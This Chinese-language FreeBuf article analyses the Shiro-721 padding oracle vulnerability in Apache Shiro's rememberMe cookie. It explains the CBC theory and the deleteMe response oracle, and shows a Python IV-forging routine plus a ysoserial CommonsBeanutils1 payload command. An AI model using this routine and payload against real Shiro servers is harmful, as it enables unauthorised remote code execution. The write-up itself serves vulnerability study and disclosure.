freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Shiro-721: RememberMe Padding Oracle Attack
2019-11-19 21:51:32

0x01 概述

         Shiro 使用 AES-128-CBC模式对cookie进行加密,受Padding Oracle Attack影响。

         影响范围:

1.2.5, 1.2.6, 1.3.0, 1.3.1, 1.3.2, 1.4.0-RC2, 1.4.0, 1.4.1

利用条件:

合法用户cookie中的rememberMe值。

0x02 漏洞分析

    rememberMe CookieRememberMeManager 所使用的的值,是序列化字符串经对称密钥加密后的密文。在一些存在漏洞站点中,因为使用了某些默认的密钥,导致攻击者可以构造任意包含恶意序列化字符串的密文,进而利用反序列化操作执行任意命令。本漏洞中,攻击者不需要得知密钥,仅需要获取一个合法的rememberMe值即可通过Padding Oracle Attack构造恶意密文,达成攻击。

     Padding Oracle Attack是针对使用特定填充协议的CBC Mode分组加密过程的攻击,在满足攻击条件的情况下,利用Padding Oracle Attack可以在无需获取密钥的情况下,解密任意密文或构造任意明文的合法密文。

    CBC 工作模式流程如图所示:

1280px-CBC_encryption.svg.png

1280px-CBC_decryption.svg.png

对任意任一区块的操作为:

  加密: P ⊕ IV = IMV => C= E(IMV)

  解密: IMV = D(C) => P = IMV ⊕ IV

   P: PlainText
   C: CipherText
   IV: Initialization Vector
   IMV: Intermedia Value
   D(): Decrypto with key
   E(): Encrypto with key

各分组区块间相互作用,顺序链接。同时,由于分组加密需要各分组满足一定长度要求,不足的分组需要进行一定的填充,在PKCS#5 padding方案中,使用不足的长度值作为填充数值。解密操作得到的明文如果不满足padding方案,则判定密文非法。一般实现中,对此种情况会抛出异常。

在此情况下,对于给定的C,IMV是确定,IV可控,则P的合法性可借由Padding数值、长度以及报错信息得以谕示。通过操作IV,可以做到对IMV的猜解,进而获取明文。同样的,通过控制IV也可以使任意P满足P ⊕ IV = IMV,进而可获取任意明文的加密数据。即,Padding Oracle Attack。

可以总结,Padding Oracle Attack 的条件为:

1、密文及IV

2、谕示,即解密失败或成功的结果。


对于Shiro,其使用了如下实现:

    // core\src\main\java\org\apache\shiro\mgt\AbstractRememberMeManager.java

    protected byte[] decrypt(byte[] encrypted) {
            byte[] serialized = encrypted;
            CipherService cipherService = getCipherService();
            if (cipherService != null) {
                ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
                serialized = byteSource.getBytes();
            }
            return serialized;
        }

    protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
        if (getCipherService() != null) {
            bytes = decrypt(bytes);  // decrypto
        }
        return deserialize(bytes);  // deserualize
    }

    public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
            PrincipalCollection principals = null;
            try {
                byte[] bytes = getRememberedSerializedIdentity(subjectContext);
                //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
                if (bytes != null && bytes.length > 0) {
                    principals = convertBytesToPrincipals(bytes, subjectContext);
                }
            } catch (RuntimeException re) {
                principals = onRememberedPrincipalFailure(re, subjectContext); // set-cookie: Remember=delete
            }

            return principals;

传入的remember数值生成过程为:

      Base64Encode(IV+AES-128-CBC.encrypto(Serialize(object))))

         处理过程为:

      Deserialize(AES-128-CBC.decrypto(Base64Decode(Cookie)))

其中,对于正确和错误的密文,存在两种不同的反馈:

    无效rememberMe: 响应中存在 `Set-Cookie: rememberMe=deleteMe`
    有效rememberMe:响应中无 `Set-Cookie: rememberMe=deleteMe`

以上处理,正满足Padding Oracle Attack的利用条件。

0x03 复现

复现步骤:

        1. 从合法用户的cookie中获取RememberMe值。
	2. 通过Padding Oracle Attack构造padload的密文
	3. 将原RememberMe值与构造出的payload密文进行拼接,编码后作为新的RememberMe值发送,触发反序列化。

区块爆破代码:

def generate_pre_ciphertext(plaintext, ciphertext):
    plaintext = list(plaintext)
    print(plaintext)

    iv = list("0" * block_length)
    iv = [int(item, 16) for item in iv]

    index = block_length - 1  # 最低起始位
    while index >= 0:
        while not send_and_check(iv, ciphertext):
            iv[index] += 1

        # 处理可能的连续 padding值,如 00000202,与00000201均合法
        # 触及填充位则报错,否则正常。
        if index == block_length - 1:
            for tmp_index in range(block_length - 1):
                iv[tmp_index] += 1
                if not send_and_check(iv, ciphertext):
                    index = tmp_index
                iv[tmp_index] -= 1

        if index != 0:
            for tmp_index in range(index - block_length, 0):
                current_padding = block_length - index
                next_padding = block_length - index + 1
                iv[tmp_index] = iv[tmp_index] ^ current_padding ^ next_padding
        index -= 1
    for i in range(block_length):
        if isinstance(plaintext[i], str):
            plaintext[i] = ord(plaintext[i])
        iv[i] = iv[i] ^ 0x10 ^ plaintext[i]
    return "".join(["{:02x}".format(i) for i in iv])

使用 ysoerial构造序列化payload

  java -jar ysoserial-master-SNAPSHOT.jar  CommonsBeanutils1 "touch /tmp/shiro"

复现结果:

real_前.png

real_后.png

0x04 参考

1. Shiro-721

2. Padding Oracle Attack的一些细节与实现

3. Padding Oracle Attack详解

4. Automated Padding Oracle Attacks With PadBuster

5. Going the other way with padding oracles: Encrypting arbitrary data!

6. Shiro RCE again(Padding Oracle Attack)

7. poracle



# SHIRO-721 Apache Shiro RCE with Padding Oracle
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录